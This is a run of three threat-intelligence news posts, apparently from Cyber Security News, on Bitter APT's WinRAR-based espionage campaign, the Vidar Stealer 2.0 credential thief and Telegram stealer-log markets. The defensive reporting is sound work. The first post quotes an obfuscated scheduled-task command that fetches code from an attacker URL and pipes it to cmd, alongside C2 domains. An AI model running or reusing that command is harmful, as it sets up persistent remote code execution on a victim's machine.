The Bitter APT group, also tracked as APT-Q-37 and known in China as 蔓灵花, has launched a sophisticated cyberespionage campaign targeting government agencies, military installations, and critical infrastructure across China and Pakistan.

The threat actor has deployed weaponized Microsoft Office documents that exploit a previously unknown zero-day vulnerability in WinRAR archive software to install custom C# backdoors on victim systems.

This multi-pronged attack demonstrates a significant evolution in the group’s technical capabilities and persistence mechanisms.

The campaign leverages two distinct infection vectors to deliver malicious payloads. The first method employs VBA macro-laden Excel files disguised as legitimate conference documentation, while the second exploits a WinRAR path traversal vulnerability predating CVE-2023-38088.

Both approaches ultimately deploy the same C# backdoor designed to exfiltrate sensitive data and execute arbitrary commands from remote servers.

The attackers carefully crafted their social engineering lures to target specific personnel within government and defense sectors, indicating prior reconnaissance and victim profiling.

Qianxin analysts identified the malicious activity in October 2024 after detecting anomalous network traffic patterns originating from compromised systems.

The researchers traced the infrastructure back to command-and-control servers hosted on the esanojinjasvc.com domain, which was registered in April 2024 specifically for this operation.

Analysis revealed that the backdoor communicates with multiple subdomains including msoffice.365cloudz.esanojinjasvc.com, employing sophisticated encryption techniques to evade network-based detection systems.

The attack chain begins when victims receive phishing emails containing malicious RAR archives with names like “Provision of Information for Sectoral for AJK.rar.”

Upon extraction with vulnerable WinRAR versions (7.11 or earlier), the archive exploits a path traversal flaw to overwrite the user’s Normal.dotm template file.

When Microsoft Word subsequently launches, it automatically loads the compromised template, triggering embedded macros that download and execute the winnsc.exe backdoor from the remote server koliwooclients.com using SMB network shares.

Persistence Mechanisms and Backdoor Functionality

The malware establishes persistence through multiple redundant mechanisms to ensure continued access.

The macro code implements a function called periperi() that creates a batch file named kefe.bat in the Windows Startup directory.

This script establishes a scheduled task titled “OneDrive\Updates1100988844” that executes every 26 minutes, making POST requests to hxxps://www.keeferbeautytrends.com/d6Z2.php.

The scheduled task command utilizes string obfuscation techniques to evade signature-based detection:-

s^ch^t^a^s^k^s /create /tn "OneDrive\Updates1100988844" /f /sc minute /mo 26 /tr "conhost --headless cmd /v:on /c set 765=ht& set 665=tps:& set 565=!765!!665!& curl !465!.com/d6Z2.p^h^p?rz=%computername%SS | c^m^d"

The C# backdoor employs AES encryption for string obfuscation through a dedicated decryption function named gjfdkgitjkg().

This function decrypts critical configuration data including C2 URLs, file paths, and POST parameters.

The backdoor continuously collects system information including the temporary directory path, operating system architecture, and hostname, transmitting this data to hxxps://msoffice.365cloudz.esanojinjasvc.com/cloudzx/msweb/drxbds23.php.

Based on C2 server responses, the malware downloads additional executables, repairs their PE headers by adding the DOS signature {0x4D 0x5A}, validates the file structure, and executes them while reporting success or failure codes back to hxxps://msoffice.365cloudz.esanojinjasvc.com/cloudzx/msweb/drxcvg45.php.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Bitter APT Hackers Exploit WinRAR Zero-Day Via Weaponized Word Documents to Steal Sensitive Data appeared first on Cyber Security News.

A sophisticated information-stealing malware known as Vidar Stealer has undergone a complete architectural transformation with the release of version 2.0, introducing advanced capabilities that enable it to bypass Chrome’s latest security protections through direct memory injection techniques.

Released on October 6, 2025, by its developer “Loadbaks” on underground forums, this new iteration features a complete rewrite from C++ to pure C, implementing a multithreaded architecture that significantly enhances its data exfiltration speed and evasion capabilities.

The timing of Vidar 2.0’s emergence coincides with a notable decline in Lumma Stealer activity, positioning Vidar as a potential successor in the information stealer ecosystem.

Priced at $300 for lifetime access, the malware offers cybercriminals a cost-effective yet powerful toolset capable of systematically targeting credentials from browsers, cryptocurrency wallets, cloud services, gaming platforms, and communication applications including Discord and Telegram.

The malware’s enhanced anti-analysis measures and sophisticated credential extraction methods represent a concerning evolution in the information stealer threat landscape.

Vidar originally emerged in 2018 on Russian-language underground forums, initially leveraging the Arkei stealer source code.

Over the years, it has distinguished itself from competitors like Raccoon and RedLine through consistent updates supporting new browsers, wallets, and two-factor authentication applications.

Trend Micro analysts identified that the latest version introduces four significant architectural changes: a complete C language rewrite for enhanced stability and speed, a multithreaded system that dynamically scales based on victim computer specifications, advanced browser credential extraction capabilities, and an automatic polymorphic builder that generates unique binary signatures for each build.

The multithreaded architecture represents one of Vidar 2.0’s most significant enhancements, allowing the malware to perform data collection tasks across multiple parallel threads.

This system automatically adjusts performance by creating more worker threads on powerful systems and fewer threads on weaker machines, ensuring optimal operation without overwhelming the target.

The parallel processing significantly reduces the time the malware needs to remain active on compromised systems, making detection and intervention by security software substantially more challenging.

Chrome AppBound Encryption Bypass Through Memory Injection

Vidar 2.0’s most notable technical achievement involves its capability to bypass Chrome’s AppBound encryption protections through sophisticated memory injection techniques.

According to the developer, the malware has “implemented unique appBound methods that aren’t found in the public domain,” specifically targeting Chrome’s enhanced security measures designed to prevent unauthorized credential extraction by binding encryption keys to specific applications.

This represents a direct challenge to Chrome’s latest security enhancements aimed at protecting user credentials from information stealers.

The malware employs a tiered approach to browser credential extraction, initially attempting traditional methods such as systematic enumeration of browser profiles and extraction of encryption keys from Local State files using standard DPAPI decryption.

When these conventional techniques fail against Chrome’s AppBound encryption, Vidar 2.0 escalates to an advanced technique that launches target browsers with debugging enabled and injects malicious code directly into running browser processes using either shellcode or reflective DLL injection.

The injected payload operates entirely within browser memory, extracting encryption keys directly from the active process address space rather than attempting to decrypt them from storage.

This memory-based approach effectively circumvents Chrome’s AppBound encryption because it steals keys that are already decrypted and in use by the legitimate browser process.

The stolen encryption keys are then communicated back to the main malware process via named pipes, a technique that avoids creating disk artifacts that could be detected by forensic analysis or security software.

This dual-pronged extraction strategy targeting both traditional browser storage methods and Chrome’s latest protections across multiple browser platforms including Chrome, Firefox, Edge, and other Chromium-based browsers demonstrates the malware’s comprehensive approach to credential theft.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Vidar Stealer Bypassing Browser Security Via Direct Memory Injection to Steal Login Credentials appeared first on Cyber Security News.

The stealer malware ecosystem has evolved into a sophisticated criminal enterprise capable of processing hundreds of millions of credentials daily.

Over the past several years, threat actors have transformed the landscape of credential theft through specialized malware families and underground distribution platforms.

These information-stealing operations now represent one of the most significant threats to digital security, with criminal networks establishing complex hierarchies to manage the harvest and distribution of stolen authentication data.

Recent investigations into the stealer log ecosystem have revealed an alarming scale of operations. A single Telegram account monitored by security researchers was observed ingesting as many as 50 million credentials within a 24-hour period.

The infrastructure supporting these operations has grown increasingly sophisticated, with threat actors utilizing messaging platforms, particularly Telegram, as their primary distribution channel.

These platforms serve as marketplaces where stolen data is bought, sold, and freely shared among criminal communities.

The criminal ecosystem operates through a tiered structure consisting of three primary groups. Primary sellers manage key operations and maintain both public channels where stealer logs are shared and paid private channels offering premium access to clients.

Aggregators collect stealer logs from multiple sources and redistribute them through their channels, often providing search capabilities for victims across specific sites.

Traffers work in cooperation with primary sellers to spread malware, occasionally operating their own channels to demonstrate their effectiveness.

Synthient analysts identified this hierarchical structure while monitoring the platforms and building systems to ingest shared data in hopes of helping victims.

The motivations driving these operations vary across groups. While primary sellers focus on monetizing stolen credentials through subscription models, aggregators often leak data publicly to gain attention and reputation within criminal communities.

This creates a complex web where the same stolen credentials may appear across multiple channels in various formats.

Some channels advertise access to billions of credential lines, with pricing models ranging from weekly subscriptions at 60 dollars to lifetime access for 600 dollars, demonstrating the commercialization of cybercrime.

The volume of credentials flowing through these channels has reached staggering proportions. Analysis of one major operation revealed that over the course of monitoring, researchers indexed approximately 30 billion Telegram messages and parsed 80 billion credentials.

During peak activity periods, the system processed 600 million credentials in a single day and indexed 1.2 billion messages within the same timeframe.

Technical Infrastructure and Data Formats

The technical implementation of stealer log distribution presents unique challenges for both criminals and researchers.

Threat actors employ multiple credential formats depending on the malware family and distribution method. The most common formats include simple combolist structures using delimiters such as colons, semicolons, or pipes to separate email addresses and passwords.

More sophisticated formats follow URL-Login-Password conventions, while stealer logs from actual malware infections contain structured data with labeled fields.

# ComboList
email: password
email; password
email|password

# ULP
url:login:password
url|login|password

# Stealer
URL:
Login:
Password:

The inconsistency in data formats creates operational challenges for aggregators attempting to consolidate stolen credentials.

Synthient researchers noted that aggregators often merge multiple files from different resellers, creating what they described as “pseudo-unique abominations” that combine various credential formats.

This complexity is further compounded when primary sellers password-protect their archives with links to their channels, preventing aggregators from easily claiming credit for the data.

The technical hurdles require sophisticated parsing systems capable of identifying and processing credentials regardless of their original format or packaging method.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Threat Actors With Stealer Malwares Processing Millions of Credentials a Day appeared first on Cyber Security News.